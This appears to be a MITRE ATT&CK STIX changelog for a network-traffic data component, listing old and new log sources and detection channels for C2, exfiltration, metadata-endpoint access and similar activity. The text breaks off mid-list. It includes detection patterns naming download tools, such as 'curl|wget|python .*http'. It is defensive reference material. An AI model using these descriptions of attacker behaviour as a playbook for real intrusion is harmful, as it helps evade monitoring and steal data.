| x_mitre_log_sources | [{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'ebpf:syscalls', 'channel': 'Process within container accesses link-local address 169.254.169.254'}, {'name': 'WebProxy:AccessLogs', 'channel': 'SSRF-like patterns accessing metadata endpoint through proxy (e.g., Host: 169.254.169.254)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log / xmpp.log (custom log feeds)'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log or AMQP custom log'}, {'name': 'NSM:Flow', 'channel': 'mqtt.log, xmpp.log, amqp.log'}, {'name': 'networkdevice:syslog', 'channel': 'ACL/Firewall rule modification or new route injection'}, {'name': 'm365:office', 'channel': 'External HTTP/DNS connection from Office binary shortly after macro trigger'}, {'name': 'NSM:Flow', 'channel': 'TCP/UDP'}, {'name': 'NSM:Flow', 'channel': 'TCP session tracking'}, {'name': 'NSM:Flow', 'channel': 'Captured packet payloads'}, {'name': 'NSM:Flow', 'channel': 'session behavior'}, {'name': 'esxi:vmkernel', 'channel': 'Network activity'}, {'name': 'NSM:Flow', 'channel': 'External C2 channel over TLS'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Inbound/outbound transfer of ELF shared objects'}, {'name': 'NSM:Flow', 'channel': 'http.log, files.log'}, {'name': 'NSM:Flow', 'channel': 'unexpected network activity initiated shortly after shell session starts'}, {'name': 'NSM:Flow', 'channel': 'HTTP/WebDAV requests that contain NTLMSSP or PROPFIND/MOVE/OPTIONS with Authorization: NTLM'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log'}, {'name': 'NSM:Flow', 'channel': 'http.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'SPAN or port-mirrored HTTP/S'}, {'name': 'NSM:Flow', 'channel': 'http.log, ssl.log, websocket.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network metrics correlation for bandwidth saturation'}, {'name': 'docker:stats', 'channel': 'unusual network TX/RX byte deltas'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'HTTPS Inspection'}, {'name': 'NSM:Flow', 'channel': 'ssl.log'}, {'name': 'linux:syslog', 'channel': 'Query to suspicious domain with high entropy or low reputation'}, {'name': 'macos:unifiedlog', 'channel': 'DNS query with pseudo-random subdomain patterns'}, {'name': 'azure:vpcflow', 'channel': 'HTTP requests to 169.254.169.254 or Azure Metadata endpoints'}, {'name': 'NSM:Flow', 'channel': 'Browser connections to known C2 or dynamic DNS domains'}, {'name': 'NSM:Flow', 'channel': 'Session History Reset'}, {'name': 'NSM:Flow', 'channel': 'HTTP '}, {'name': 'macos:unifiedlog', 'channel': 'network flow'}, {'name': 'linux:syslog', 'channel': 'curl|wget|python .*http'}, {'name': 'macos:unifiedlog', 'channel': 'curl|osascript.*open location'}, {'name': 'NSM:Flow', 'channel': 'query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes'}, {'name': 'etw:Microsoft-Windows-NDIS-PacketCapture', 'channel': 'TLS Handshake/Network Flow'}, {'name': 'NSM:Flow', 'channel': 'HTTP/TLS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.network'}, {'name': 'linux:syslog', 'channel': 'Unexpected SQL or application log entries showing tampered or malformed data'}, {'name': 'EDR:hunting', 'channel': 'Advanced Hunting: DeviceProcessEvents + DeviceNetworkEvents'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, short-lived domains, URL shorteners; HTTP method GET/POST'}, {'name': 'NSM:Flow', 'channel': 'Suspicious URL patterns, uncommon TLDs, URL shorteners'}, {'name': 'macos:unifiedlog', 'channel': 'open URL|clicked link|LSQuarantineAttach'}, {'name': 'NSM:Flow', 'channel': 'Suspicious GET/POST; downloader patterns'}, {'name': 'NSM:Flow', 'channel': 'SSH logins or scp activity'}, {'name': 'NSM:Flow', 'channel': 'remote login and transfer'}, {'name': 'esxi:vob', 'channel': 'NFS/remote access logs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Traffic between instances'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=5005 (WLAN), EventCode=302 (Bluetooth)'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Suspicious long-lived or reattached remote desktop sessions from unexpected IPs'}, {'name': 'NSM:Flow', 'channel': 'HTTP payloads with SQLi/LFI/JNDI/deserialization indicators'}, {'name': 'NSM:Flow', 'channel': 'outbound egress from web host after suspicious request'}, {'name': 'NSM:Flow', 'channel': 'Requests towards cloud metadata or command & control from pod IPs'}, {'name': 'ALB:HTTPLogs', 'channel': 'AWS ALB/ELB/GCP/Azure Application Gateway HTTP logs with unusual methods, long URIs, serialized payloads, 4xx/5xx bursts'}, {'name': 'NSM:Flow', 'channel': 'Connections to TCP 427 (SLP) or vCenter web services from untrusted sources'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow for odd egress to Internet from mgmt plane'}, {'name': 'NSM:Flow', 'channel': 'packet capture or DPI logs'}, {'name': 'NSM:Flow', 'channel': 'http.log'}, {'name': 'NSM:Flow', 'channel': 'SMB2_LOGOFF/SMB_TREE_DISCONNECT'}, {'name': 'macos:unifiedlog', 'channel': 'Connections to suspicious domains with mismatched certificate or unusual patterns'}, {'name': 'NSM:Flow', 'channel': 'Unusual Base64-encoded content in URI, headers, or POST body'}, {'name': 'NSM:Flow', 'channel': 'Base64 strings or gzip in URI, headers, or POST body'}, {'name': 'macos:unifiedlog', 'channel': 'HTTP POST with encoded content in user-agent or cookie field'}, {'name': 'esxi:vmkernel', 'channel': 'Outbound traffic using encoded payloads post-login'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound HTTPS requests to domains flagged as newly registered or untrusted after spearphishing message interaction'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to 445, 3389, 5985-5986 with high error/connection-reset rate, followed by new outbound sessions from the same host to internal assets within short interval.'}, {'name': 'NSM:Flow', 'channel': 'Inbound connections to monitored service ports from external or unusual internal sources; rapid follow-on lateral connections from the same host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to tcp/427 (OpenSLP), tcp/443 (vSphere APIs), tcp/902, tcp/5989 followed by new unexpected outbound sessions from the ESXi/vCenter host.'}, {'name': 'NSM:Flow', 'channel': 'Inbound to 22/5900/8080 and follow-on internal connections.'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body or headers contain long Base64 sections; gzip/deflate + Base64'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP body contains long Base64 sections'}, {'name': 'NSM:Flow', 'channel': 'http: Base64/MIME looking payloads from ESXi host IP'}, {'name': 'NSM:Flow', 'channel': 'LDAP Bind/Search'}, {'name': 'NSM:Flow', 'channel': 'LDAP Query'}, {'name': 'macos:unifiedlog', 'channel': 'log stream (subsystem: com.apple.system.networking)'}, {'name': 'NSM:Flow', 'channel': 'smtp.log'}, {'name': 'NSM:Flow', 'channel': 'smtp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'remote CLI session detection'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted connection with anomalous payload entropy'}, {'name': 'esxcli:network', 'channel': 'Socket sessions with randomized payloads inconsistent with TLS'}, {'name': 'NSM:Connections', 'channel': 'Symmetric encryption detected without TLS handshake sequence'}, {'name': 'NSM:Flow', 'channel': 'http.log, ftp.log'}, {'name': 'NSM:Flow', 'channel': 'PCAP inspection'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to webhook endpoints'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to webhook endpoints'}, {'name': 'NSM:Flow', 'channel': 'Single, low-volume inbound packet (REJ/S0/OTH or uncommon dport/protocol) from src_ip followed by outbound SF connection to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Rare inbound packet characteristics (ICMP/UDP/TCP to uncommon port) from src_ip followed ≤TimeWindow by outbound SF from same host to src_ip.'}, {'name': 'NSM:Flow', 'channel': 'Inbound one-off packet to uncommon port → outbound SF to same src_ip within TimeWindow.'}, {'name': 'networkdevice:config', 'channel': 'NAT table modification (add/update/delete rule)'}, {'name': 'NSM:Flow', 'channel': 'large upload to firmware interface port or path'}, {'name': 'macos:unifiedlog', 'channel': 'Rapid incoming TLS handshakes or HTTP requests in quick succession'}, {'name': 'NSM:Flow', 'channel': 'http.request: HTTP requests and responses for specific script resources, unexpected content-types (application/octet-stream for script URLs), suspicious referrers, or obfuscated javascript resources'}, {'name': 'NSM:Flow', 'channel': 'http::response: HTTP responses with suspicious content-type for scripts, long obfuscated javascript bodies, or redirects to exploit kit domains'}, {'name': 'NSM:Flow', 'channel': 'HTTP/HTTPS requests for script resources flagged by content inspection (excessive obfuscation, eval usage, unusual redirects)'}, {'name': 'NSM:Connections', 'channel': 'TLS handshake + HTTP headers'}, {'name': 'NSM:Flow', 'channel': 'ssl.log + http.log'}, {'name': 'macos:unifiedlog', 'channel': 'network, socket, and http logs'}, {'name': 'NSM:Firewall', 'channel': 'TLS/HTTP inspection'}, {'name': 'NSM:Flow', 'channel': 'http/file-xfer: Outbound transfer of large video-like MIME types soon after capture'}, {'name': 'container:proxy', 'channel': 'outbound/inbound network activity from spawned pods'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound to non-standard ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound SCP, TFTP, or FTP sessions carrying configuration file content'}, {'name': 'NSM:Flow', 'channel': 'Session Transfer Content'}, {'name': 'NSM:Flow', 'channel': 'Captured File Content'}, {'name': 'NSM:Flow', 'channel': 'C2 exfiltration'}, {'name': 'NSM:Flow', 'channel': 'Transferred file observations'}, {'name': 'apache:access_log', 'channel': "Unusual HTTP POST or PUT requests to paths such as '/uploads/', '/admin/', or CMS plugin folders"}, {'name': 'NSM:Flow', 'channel': 'http::post: Outbound HTTP POST from host shortly after DB export activity'}, {'name': 'NSM:Flow', 'channel': 'HTTPS API requests to Dropbox, iCloud, Google Drive, OneDrive shortly after DB tool usage'}, {'name': 'NSM:Flow', 'channel': 'Observed downgrade in negotiated cipher suites or TLS/SSH versions across sessions'}, {'name': 'NSM:Flow', 'channel': 'New egress from container IP/namespace to Internet or non-approved CIDRs/ASNs'}, {'name': 'NSM:Flow', 'channel': 'New VM egress to crypto-mining pools or non-approved Internet ranges within minutes of boot'}, {'name': 'docker:events', 'channel': 'remote API calls to /containers/create or /containers/{id}/start'}, {'name': 'NSM:Flow', 'channel': 'http::request: Network connection to package registry or C2 from interpreter shortly after install'}, {'name': 'linux:syslog', 'channel': 'Integrity mismatch warnings or malformed packets detected'}, {'name': 'NSM:Flow', 'channel': 'http::request: Outbound HTTP initiated by Python interpreter'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Outbound requests with forged tokens/cookies in headers'}, {'name': 'linux:syslog', 'channel': 'DNS response IPs followed by connections to non-standard calculated ports'}, {'name': 'macos:unifiedlog', 'channel': 'DNS responses followed by connections to ports outside standard ranges'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound traffic to mining domains'}, {'name': 'macos:unifiedlog', 'channel': 'Encrypted session initiation by unexpected binary'}, {'name': 'esxi:vmkernel', 'channel': 'Inspection of sockets showing encrypted sessions from non-baseline processes'}, {'name': 'NSM:Connections', 'channel': 'Abnormal certificate chains or non-standard ports carrying TLS'}, {'name': 'NSM:Flow', 'channel': 'DrsAddEntry, DrsReplicaAdd, GetNCChanges calls between non-DC and DCs.'}, {'name': 'NSM:Flow', 'channel': 'large HTTPS POST requests to text storage domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS POST connections to pastebin-like domains'}, {'name': 'NSM:Flow', 'channel': 'Unexpected ARP replies or DNS responses inconsistent with authoritative servers'}, {'name': 'NSM:Flow', 'channel': 'TLS downgrade or inconsistent DNS answers'}, {'name': 'NSM:Flow', 'channel': 'Unusual request pattern leading up to service crash (e.g., malformed or oversized payload)'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Large volume of malformed or synthetic payloads to application endpoints prior to failure'}, {'name': 'networkconfig ', 'channel': 'interface flag PROMISC, netstat | ip link | ethtool'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'promiscuous'"}, {'name': 'networkdevice:syslog', 'channel': 'config change (e.g., logging buffered, pcap buffers)'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to code repository APIs'}, {'name': 'azure:activity', 'channel': 'networkInsightsLogs'}, {'name': 'gcp:audit', 'channel': 'network.query*'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Unusual external domain access'}, {'name': 'NSM:Flow', 'channel': 'conn.log or http.log'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies/headers contain long tokens with non-standard alphabets or constant-size periodic POSTs'}, {'name': 'NSM:Flow', 'channel': 'dns: DNS labels with excessive length and restricted custom alphabets (e.g., base36 only) repeated frequently'}, {'name': 'NSM:Flow', 'channel': 'http: suspicious long tokens with custom alphabets in body/headers'}, {'name': 'NSM:Flow', 'channel': 'http: HTTP bodies from ESXi host IPs containing long, non-standard tokens'}, {'name': 'NSM:Flow', 'channel': 'Traffic patterns showing downgrade from strong encryption (AES-256) to weaker or plaintext protocols'}, {'name': 'NSM:Flow', 'channel': 'HTTP(S) requests with User-Agents typical of PowerShell or curl from desktop; or URIs matching paste-inspired payload hosts'}, {'name': 'NSM:Flow', 'channel': 'Egress to non-approved networks from host after terminal exec'}, {'name': 'NSM:Flow', 'channel': 'Flow/PCAP analysis for outbound payloads'}, {'name': 'NSM:Flow', 'channel': 'conn.log + files.log + ssl.log'}, {'name': 'macos:unifiedlog', 'channel': "eventMessage = 'open', 'sendto', 'connect'"}, {'name': 'NSM:Flow', 'channel': 'HTTPS or custom protocol traffic with large payloads'}, {'name': 'esxi:vmkernel', 'channel': 'network stack module logs'}, {'name': 'NSM:Flow', 'channel': 'Unexpected script or binary content returned in HTTP response body'}, {'name': 'NSM:Flow', 'channel': 'Injected content responses with unexpected script/malware signatures'}, {'name': 'NSM:Flow', 'channel': 'Content injection observed in HTTPS responses with mismatched certificates or altered payloads'}, {'name': 'NSM:Firewall', 'channel': 'High rate of inbound TCP SYN or ACK packets with missing 3-way handshake completion'}, {'name': 'NSM:Firewall', 'channel': 'Anomalous TCP SYN or ACK spikes from specific source or interface'}, {'name': 'saas:confluence', 'channel': 'REST API access from non-browser agents'}, {'name': 'Netfilter/iptables', 'channel': 'Forwarded packets log'}, {'name': 'NSM:Flow', 'channel': 'Relay patterns across IP hops'}, {'name': 'NSM:Firewall', 'channel': 'Outbound encrypted traffic'}, {'name': 'NSM:Flow', 'channel': 'ldap.log'}, {'name': 'macos:unifiedlog', 'channel': 'dns-sd, mDNSResponder, socket activity'}, {'name': 'networkdevice:IDS', 'channel': 'content inspection / PCAP / HTTP body'}, {'name': 'NSM:Flow', 'channel': 'Probe responses from unauthorized APs responding to client probe requests'}, {'name': 'auditd:SYSCALL', 'channel': 'setsockopt, ioctl modifying ARP entries'}, {'name': 'NSM:Flow', 'channel': 'Excessive gratuitous ARP replies on local subnet'}, {'name': 'NSM:Flow', 'channel': 'Inbound HTTP POST with suspicious payload size or user-agent'}, {'name': 'NSM:Flow', 'channel': 'POST requests to .php, .jsp, .aspx files with high entropy body'}, {'name': 'NSM:Flow', 'channel': 'dns.log'}, {'name': 'NSM:FLow', 'channel': 'dns.log'}, {'name': 'NSM:Flow', 'channel': 'Encrypted tunnels or proxy traffic to non-standard destinations'}, {'name': 'esxi:vmkernel', 'channel': 'Suspicious traffic filtered or redirected by VM networking stack'}, {'name': 'NSM:Flow', 'channel': 'large transfer from management IPs to unauthorized host'}, {'name': 'NSM:Flow', 'channel': 'Sustained abnormal inbound request rate targeting application ports (e.g., 80/443/25)'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, smb_files.log'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'mirror/SPAN port'}, {'name': 'NSM:Flow', 'channel': 'ftp.log, conn.log, smb_files.log'}, {'name': 'linux:syslog', 'channel': 'Multiple NXDOMAIN responses and high entropy domains'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Inspection or PCAP'}, {'name': 'NSM:Flow', 'channel': 'conn.log, ssl.log'}, {'name': 'macos:unifiedlog', 'channel': 'process + network activity'}, {'name': 'NSM:Flow', 'channel': 'http, dns, smb, ssl logs'}, {'name': 'NSM:Flow', 'channel': 'dns, ssl, conn'}, {'name': 'NSM:Flow', 'channel': 'conn.log, http.log, dns.log, ssl.log'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures, unexpected community string usage, or unauthorized SNMPv1/v2 requests'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP traffic (Wireshark, Suricata, Zeek)'}, {'name': 'NSM:Flow', 'channel': 'icmp.log, weird.log'}, {'name': 'NSM:Flow', 'channel': 'ICMP/UDP monitoring (tcpdump, Wireshark, Zeek)'}, {'name': 'esxi:vmkernel', 'channel': 'VMCI syslog entries'}, {'name': 'NSM:Firewall', 'channel': 'ICMP/UDP protocol anomaly'}, {'name': 'NSM:Flow', 'channel': 'Unusual responses to LLMNR (UDP 5355) or NBT-NS (UDP 137) queries from unauthorized hosts'}, {'name': 'NSM:Flow', 'channel': 'DHCP OFFER or ACK with unauthorized DNS/gateway parameters'}, {'name': 'NSM:Flow', 'channel': 'Multiple DHCP OFFER responses for a single DISCOVER'}, {'name': 'NSM:Flow', 'channel': 'SSL/TLS Handshake Analysis'}, {'name': 'NSM:Flow', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Flow', 'channel': 'Network Capture TLS/HTTP'}, {'name': 'NSM:Content', 'channel': 'SSL Certificate Metadata'}, {'name': 'NSM:Content', 'channel': 'HTTP Header Metadata'}, {'name': 'NSM:Content', 'channel': 'TLS Fingerprint and Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'container egress to unknown IPs/domains'}, {'name': 'gcp:vpcflow', 'channel': 'first 5m egress to unknown ASNs'}, {'name': 'NSM:Flow', 'channel': 'HTTP Request Logging'}, {'name': 'WinEventLog:iis', 'channel': 'IIS Logs'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem=com.apple.WebKit'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of data transferred from S3 storage endpoints to non-corporate IPs'}, {'name': 'NSM:Flow', 'channel': 'ssh connections originating from third-party CIDRs'}, {'name': 'NSM:Flow', 'channel': 'ssh/smb connections to internal resources from third-party devices'}, {'name': 'NSM:Flow', 'channel': 'Degraded encryption throughput or switch to weaker cipher suites compared to historical baselines'}, {'name': 'NSM:Flow', 'channel': 'ssl.log (for TLS handshake analysis), dns.log (tunneling indicators)'}, {'name': 'NSM:Flow', 'channel': 'host switch egress data'}, {'name': 'NSM:Flow', 'channel': 'Outbound HTTP/S'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem: com.apple.WebKit or com.apple.WebKit.Networking'}, {'name': 'NSM:Flow', 'channel': 'ssl.log - Certificate Analysis'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, conn.log'}, {'name': 'NSM:Flow', 'channel': 'ssl.log, x509.log'}, {'name': 'NSM:Flow', 'channel': 'Packets with unusual flags or payloads outside established flows (e.g., WoL magic FF×6 + 16×MAC)'}, {'name': 'WIDS:AssociationLogs', 'channel': 'Unauthorized AP or anomalous MAC address connection attempts'}, {'name': 'macos:unifiedlog', 'channel': 'encrypted outbound traffic carrying unexpected application data'}, {'name': 'esxcli:network', 'channel': 'listening sockets bound with non-standard encapsulated protocols'}, {'name': 'macos:unifiedlog', 'channel': 'Persistent outbound connections with consistent periodicity'}, {'name': 'macos:unifiedlog', 'channel': 'TLS connections with abnormal handshake sequence or self-signed cert'}, {'name': 'esxcli:network', 'channel': 'Socket inspection showing RSA key exchange outside baseline endpoints'}, {'name': 'IDS:TLSInspection', 'channel': 'Malformed certs, incomplete asymmetric handshakes, or invalid CAs'}, {'name': 'macos:unifiedlog', 'channel': 'Web server process initiating outbound TCP connections not tied to normal server traffic'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TLS connections to cloud storage providers'}, {'name': 'saas:box', 'channel': 'API calls exceeding baseline thresholds'}, {'name': 'macos:unifiedlog', 'channel': 'outbound HTTPS connections to cloud storage APIs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'High volume internal-to-internal IP transfer or cross-account cloud transfer'}, {'name': 'etw:Microsoft-Windows-WinINet', 'channel': 'WinINet API telemetry'}, {'name': 'macos:unifiedlog', 'channel': 'process, network'}, {'name': 'NSM:Connections', 'channel': 'Unusual POST requests to admin or upload endpoints'}, {'name': 'NSM:Flow', 'channel': 'Suspicious POSTs to upload endpoints'}, {'name': 'networkdevice:syslog', 'channel': 'Authentication failures or unusual community string usage in SNMP queries'}, {'name': 'API:ConfigRepoAudit', 'channel': 'Access to configuration repository endpoints, unusual enumeration requests or mass downloads'}, {'name': 'NSM:Content', 'channel': 'Traffic on RPC DRSUAPI'}, {'name': 'macos:unifiedlog', 'channel': "process = 'ssh' OR eventMessage CONTAINS 'ssh'"}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:16.672000+00:00 | 2025-10-21 15:14:34.343000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0078', 'external_id': 'DC0078'}] | |
| x_mitre_log_sources | [{'name': 'Network Traffic', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'socket_events'}, {'name': 'NSM:Flow', 'channel': 'Unexpected flows between segmented networks or prohibited ports'}, {'name': 'snmp:config', 'channel': 'Configuration change traps or policy enforcement failures'}, {'name': 'NSM:Flow', 'channel': 'First-time outbound connections to package registries or unknown hosts immediately after restore/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to new registries/CDNs post-install/build'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved registries after dependency install'}, {'name': 'NSM:Flow', 'channel': 'Outbound connections to TCP 139,445 and HTTP/HTTPS to WebDAV endpoints from workstation subnets'}, {'name': 'NSM:Flow', 'channel': 'large outbound data flows or long-duration connections'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'egress > 90th percentile or frequent connection reuse'}, {'name': 'NSM:Flow', 'channel': 'conn.log'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect'}, {'name': 'esxi:syslog', 'channel': 'esxcli network vswitch or DNS resolver configuration updates'}, {'name': 'esxi:vobd', 'channel': 'Network Events'}, {'name': 'iptables:LOG', 'channel': 'TCP connections'}, {'name': 'NSM:Flow', 'channel': 'connection metadata'}, {'name': 'wineventlog:dhcp', 'channel': 'DHCP Lease Granted'}, {'name': 'NSM:Flow', 'channel': 'LEASE_GRANTED'}, {'name': 'NSM:Flow', 'channel': 'MAC not in allow-list acquiring IP (DHCP)'}, {'name': 'Windows Firewall Log', 'channel': 'SMB over high port'}, {'name': 'NSM:Connections', 'channel': 'Internal connection logging'}, {'name': 'NSM:Flow', 'channel': 'pf firewall logs'}, {'name': 'esxi:vmkernel', 'channel': '/var/log/vmkernel.log'}, {'name': 'NSM:Flow', 'channel': 'Inter-segment traffic'}, {'name': 'NSM:Flow', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Long-lived or hijacked SSH sessions maintained with no active user activity'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'VPC/NSG flow logs for pod/instance egress to Internet or metadata'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious outbound traffic from browser binary to non-standard domains'}, {'name': 'NSM:Flow', 'channel': 'Abnormal browser traffic volume or destination'}, {'name': 'NSM:Flow', 'channel': 'Outbound requests to domains not previously resolved or associated with phishing campaigns'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to domains/IPs not previously resolved, occurring shortly after attachment download or link click'}, {'name': 'M365Defender:DeviceNetworkEvents', 'channel': 'NetworkConnection: bytes_sent >> bytes_received anomaly'}, {'name': 'PF:Logs', 'channel': 'outbound flows with bytes_out >> bytes_in'}, {'name': 'NSX:FlowLogs', 'channel': 'network_flow: bytes_out >> bytes_in to external'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/Zeek conn.log'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound data flows'}, {'name': 'NSM:Flow', 'channel': 'Flow records with entropy signatures resembling symmetric encryption'}, {'name': 'NSM:Flow', 'channel': 'flow records'}, {'name': 'networkdevice:syslog', 'channel': 'flow records'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST to known webhook URLs'}, {'name': 'saas:api', 'channel': 'Webhook registrations or repeated POST activity'}, {'name': 'NSM:Flow', 'channel': 'Source/destination IP translation inconsistent with intended policy'}, {'name': 'SNMP:DeviceLogs', 'channel': 'Unexpected NAT translation statistics or rule insertion events'}, {'name': 'NSM:Flow', 'channel': 'Sudden spike in incoming flows to web service ports from single/multiple IPs'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Unusual volume of inbound packets from single source across short time interval'}, {'name': 'NSM:Flow', 'channel': 'port 5900 inbound'}, {'name': 'NSM:Flow', 'channel': 'TCP port 5900 open'}, {'name': 'NSM:firewall', 'channel': 'inbound connection to port 5900'}, {'name': 'NSM:Firewall', 'channel': 'Outbound connections to 139/445 to multiple destinations'}, {'name': 'VPCFlowLogs:All', 'channel': 'High volume internal traffic with low entropy indicating looped or malicious DoS script'}, {'name': 'NSM:Flow', 'channel': 'NetFlow/sFlow/PCAP'}, {'name': 'NSM:Flow', 'channel': 'Outbound Network Flow'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.network'}, {'name': 'NSM:Flow', 'channel': 'Device-to-Device Deployment Flows'}, {'name': 'auditd:SYSCALL', 'channel': 'socket/connect syscalls'}, {'name': 'macos:unifiedlog', 'channel': 'outbound TCP/UDP traffic over unexpected port'}, {'name': 'esxi:vpxd', 'channel': 'ESXi service connections on unexpected ports'}, {'name': 'iptables:LOG', 'channel': 'OUTBOUND'}, {'name': 'macos:unifiedlog', 'channel': 'tcp/udp'}, {'name': 'esxi:hostd', 'channel': 'CLI network calls'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic from suspicious new processes post-attachment execution'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious anomalies in transmitted data integrity during application network operations'}, {'name': 'esxi:syslog', 'channel': 'DNS resolution events leading to outbound traffic on unexpected ports'}, {'name': 'NSM:Flow', 'channel': 'Outbound traffic to mining pools or proxies'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'Outbound flow logs to known mining pools'}, {'name': 'container:cni', 'channel': 'Outbound network traffic to mining proxies'}, {'name': 'esxi:vpxd', 'channel': 'TLS session established by ESXi service to unapproved endpoint'}, {'name': 'NSM:Flow', 'channel': 'Session records with TLS-like byte patterns'}, {'name': 'macos:unifiedlog', 'channel': 'HTTPS POST requests to pastebin.com or similar'}, {'name': 'NetFlow:Flow', 'channel': 'new outbound connections from exploited process tree'}, {'name': 'NSM:Connections', 'channel': 'new connections from exploited lineage'}, {'name': 'NSM:Flow', 'channel': 'Unexpected route changes or duplicate gateway advertisements'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Firewall With Advanced Security/Firewall', 'channel': 'EventCode=2004,2005,2006'}, {'name': 'NSM:Flow', 'channel': 'Knock pattern: repeated REJ/S0 across ≥MinSequenceLen ports from same src_ip then SF success.'}, {'name': 'macos:unifiedlog', 'channel': 'Firewall/PF anchor load or rule change events.'}, {'name': 'networkdevice:syslog', 'channel': 'Config/ACL changes, line vty transport input changes, telnet/ssh/http(s) enable, image/feature module changes.'}, {'name': 'NSM:Flow', 'channel': 'First-time egress to non-approved update hosts right after install/update'}, {'name': 'NSM:Flow', 'channel': 'New outbound flows to non-approved vendor hosts post install'}, {'name': 'NSM:Flow', 'channel': 'New/rare egress to non-approved update hosts after install'}, {'name': 'NSM:Flow', 'channel': 'large outbound HTTPS uploads to repo domains'}, {'name': 'esxi:vmkernel', 'channel': 'HTTPS traffic to repository domains'}, {'name': 'NSM:Flow', 'channel': 'alert log'}, {'name': 'esxi:vmkernel', 'channel': 'None'}, {'name': 'NSM:Flow', 'channel': 'Outbound flow records'}, {'name': 'm365:defender', 'channel': 'NetworkConnection: high out:in ratio, periodic beacons, protocol mismatch'}, {'name': 'PF:Logs', 'channel': 'high out:in ratio or fixed-size periodic flows'}, {'name': 'NSM:Flow', 'channel': 'network_flow: bytes_out >> bytes_in, fixed packet sizes/intervals to non-approved CIDRs'}, {'name': 'auditd:SYSCALL', 'channel': 'connect or sendto system call with burst pattern'}, {'name': 'macos:unifiedlog', 'channel': 'sudden burst in outgoing packets from same PID'}, {'name': 'AWS:VPCFlowLogs', 'channel': 'source instance sends large volume of traffic in short window'}, {'name': 'NSM:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'NIDS:Flow', 'channel': 'session stats with bytes_out > bytes_in'}, {'name': 'esxi:vpxa', 'channel': 'connection attempts and data transmission logs'}, {'name': 'PF:Logs', 'channel': 'External traffic to remote access services'}, {'name': 'NSM:Flow', 'channel': 'High volumes of SYN/ACK packets with unacknowledged TCP handshakes'}, {'name': 'dns:query', 'channel': 'Outbound resolution to hidden service domains (e.g., `.onion`)'}, {'name': 'NSM:Flow', 'channel': 'conn.log + ssl.log with Tor fingerprinting'}, {'name': 'macos:unifiedlog', 'channel': 'forwarded encrypted traffic'}, {'name': 